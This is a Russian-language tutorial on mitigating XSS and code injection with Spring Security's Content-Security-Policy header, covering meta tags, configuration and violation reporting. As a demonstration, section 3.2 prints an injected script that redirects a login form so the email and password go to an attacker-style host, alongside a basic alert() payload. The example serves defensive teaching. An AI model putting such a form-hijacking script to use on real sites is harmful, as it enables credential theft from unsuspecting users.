1. Обзор
Атаки с использованием межсайтового скриптинга или XSS неизменно входят в десятку наиболее распространенных кибератак. Атака XSS происходит, когда веб-сервер обрабатывает вредоносный ввод пользователя без проверки или кодирования и отображает его на странице. Подобно XSS-атакам, инъекции кода и кликджекинг создают хаос в веб-приложениях, крадя пользовательские данные и выдавая себя за них.
В этом руководстве мы узнаем, как снизить риски внедрения кода в веб-приложениях на основе Spring Security с помощью заголовков Content-Security-Policy .
2. Политика безопасности контента
Content Security Policy (CSP) — это заголовок ответа HTTP, который значительно снижает количество атак с внедрением кода, таких как XSS , Clickjacking и т. д ., в современных браузерах .
Веб-сервер определяет список разрешенных ресурсов, которые браузер может отображать, с заголовком Content-Security-Policy .
Эти ресурсы могут быть чем угодно, что отображает браузер, например, CSS, Javascript, изображения и т. д.
Синтаксис этого заголовка:
Content-Security-Policy: <directive>; <directive>; <directive> ; ...
Кроме того, мы можем установить эту политику как часть тегов <meta>
HTML-страницы :
<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">
Кроме того, каждая из этих директив содержит ключ с несколькими значениями. Может быть несколько директив, разделенных точкой с запятой (;)
:
Content-Security-Policy: script-src 'self' https://foreach.com; style-src 'self';
В данном случае у нас есть две директивы ( script-src
и style-src
), а директива script-src
имеет два значения ( 'self'
и https://foreach.com
).
3. Демонстрация уязвимости
Теперь давайте посмотрим на примере, насколько серьезными могут быть уязвимости XSS и внедрения кода.
3.1. Форма входа
Как правило, мы перенаправляем пользователя на страницу входа по тайм-ауту сеанса в веб-приложениях. Кроме того, стандартная форма входа имеет поля имени пользователя/пароля и кнопку отправки:
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>
3.2. Внедрение кода
Пользователь может внедрить подозрительный код через поля формы при вводе данных пользователем. Например, предположим, что текстовое поле принимает имена пользователей в регистрационной форме.
Вместо имени пользователя пользователь может ввести <script>alert("это не ожидается")</script>
и отправить форму. Впоследствии, когда форма отображает имя пользователя, она выполняет скрипт (в данном случае выводит сообщение). Скрипт может даже загружать внешние скрипты, которые могут причинить более серьезный вред.
Точно так же предположим, что у нас есть поля формы с недостаточной проверкой. Опять же, пользователь использует это и внедряет вредоносный код Javascript в DOM (объектную модель документа) :
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>
<script>
let form= document.forms.login;
form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
+"&p="+document.getElementById('password').value;
</script>
Этот внедренный код Javascript перенаправляет пользователей на вредоносный сайт при нажатии кнопки входа
.
Когда ничего не подозревающий пользователь отправляет форму, он перенаправляется на https://youaredoomed.com
с раскрытыми учетными данными.
3.3. Демо
Давайте посмотрим на эту уязвимость в действии.
Как правило, после истечения времени сеанса сервер перенаправляет пользователя на страницу входа для ввода своих учетных данных. Но внедренный вредоносный код перенаправляет пользователя на непредусмотренный сайт вместе с учетными данными пользователя:
Video Player should be here.
4. Весенняя безопасность
В этом разделе мы обсудим способы устранения этих уязвимостей, связанных с внедрением кода.
4.1. Мета-
теги HTML
Добавление заголовка Content-Security-Policy
в предыдущем примере заблокировало бы отправку формы на вредоносный сервер. Итак, добавим этот заголовок с помощью тега <meta
> и проверим поведение:
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">
Добавление вышеуказанного метатега
не позволяет браузеру отправлять форму другим источникам:
**Несмотря на то, что метатеги
могут смягчить атаки XSS и внедрения кода, их функциональность ограничена. Например, мы не можем использовать метатеги
для сообщения о нарушениях Content-Security-Policy.
**
Впредь давайте использовать возможности Spring Security для снижения этих рисков, установив заголовок Content-Security-Policy .
4.2. Зависимости Maven
Во-первых, давайте добавим зависимости Spring Security и Spring Web в наш pom.xml
:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
<version>2.6.1</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.6.1</version>
</dependency>
4.3. Конфигурация
Далее давайте определим конфигурацию Spring Security, расширив WebSecurityConfigurerAdapter
:
@Configuration
public class SecurityConfiguration extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.xssProtection()
.and()
.contentSecurityPolicy("form-action 'self'");
}
}
Здесь мы объявили contentSecurityPolicy
, чтобы ограничить действия формы одним и тем же источником.
4.4. Заголовок ответа Content-Security-Policy
Имея необходимые настройки, давайте проверим безопасность, обеспечиваемую Spring Security. Для этого давайте откроем инструменты разработчика браузера (нажав F12 или аналогичные клавиши), щелкните вкладку « Сеть
» и откройте URL-адрес http://localhost:8080
:
Теперь мы заполним форму и отправим ее:
С заголовком Content-Security-Policy браузер блокирует запрос на отправку и снижает риск компрометации учетных данных.
Точно так же мы можем настроить Spring Security для поддержки различных директив . Например, этот код указывает браузерам загружать скрипты только из одного и того же источника:
.contentSecurityPolicy("script-src 'self'");
Точно так же мы можем указать браузерам загружать CSS только из того же источника и с сайта somecdn.css.com
:
.contentSecurityPolicy("style-src 'self' somecdn.css.com");
Кроме того, мы можем комбинировать любое количество директив в заголовке Content-Security-Policy. Например, чтобы ограничить действия CSS, JS и формы, мы можем указать:
.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")
4.5. Составление отчетов
Помимо приказа браузерам блокировать вредоносный контент, сервер может попросить браузеры отправить отчет о заблокированном контенте. Итак, давайте объединим директиву report-uri
с другими директивами, чтобы браузер отправлял сообщение POST всякий раз, когда контент блокируется.
Браузеры отправляют приведенный ниже контент по URL-адресу, определенному в report-uri
:
{
"csp-report": {
"blocked-uri": "",
"document-uri": "",
"original-policy": "",
"referrer": "",
"violated-directive": ""
}
}
Поэтому нам нужно определить API, который получает этот отчет о нарушении, отправленный браузером, и регистрирует запрос для иллюстрации и ясности.
Следует отметить, что несмотря на то, что директива report-uri
устарела в пользу report-to
, большинство браузеров не поддерживают report-to
на сегодняшний день. Следовательно, мы будем использовать директивы report-uri
и report-to
для создания отчетов.
Во-первых, давайте обновим нашу конфигурацию Spring Security:
String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http
.csrf().disable()
.authorizeRequests()
.antMatchers("/**").permitAll().and()
.headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
.xssProtection()
.and()
.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
Сначала мы определили группу Report-
To с отчетом о нарушении csp
и связали конечную точку. Затем, как часть .contentSecurityPolicy,
мы использовали это имя группы в качестве значения директивы report-to .
Теперь, когда мы открываем страницу в браузере, мы видим:
Далее заполняем форму и нажимаем кнопку Войти
. Как и ожидалось, браузер блокирует запрос и отправляет отчет. На консоли сервера у нас есть журнал, похожий на:
Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}
Вот тот же отчет после форматирования JSON:
{
"csp-report": {
"blocked-uri": "https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password",
"document-uri": "https://localhost:8080/",
"original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
"referrer": "",
"violated-directive": "form-action"
}
}
5. Вывод
В этой статье мы увидели, как защитить наши веб-приложения от кликджекинга, внедрения кода и XSS-атак.
Хотя полной защиты от этих атак не существует, заголовок Content-Security-Policy
помогает смягчить большинство этих атак. Примечательно, что на сегодняшний день большинство современных браузеров не полностью поддерживают этот заголовок. Следовательно, проектирование и создание приложений с соблюдением надежных принципов и стандартов безопасности имеет решающее значение.
Как всегда, полный исходный код доступен на GitHub .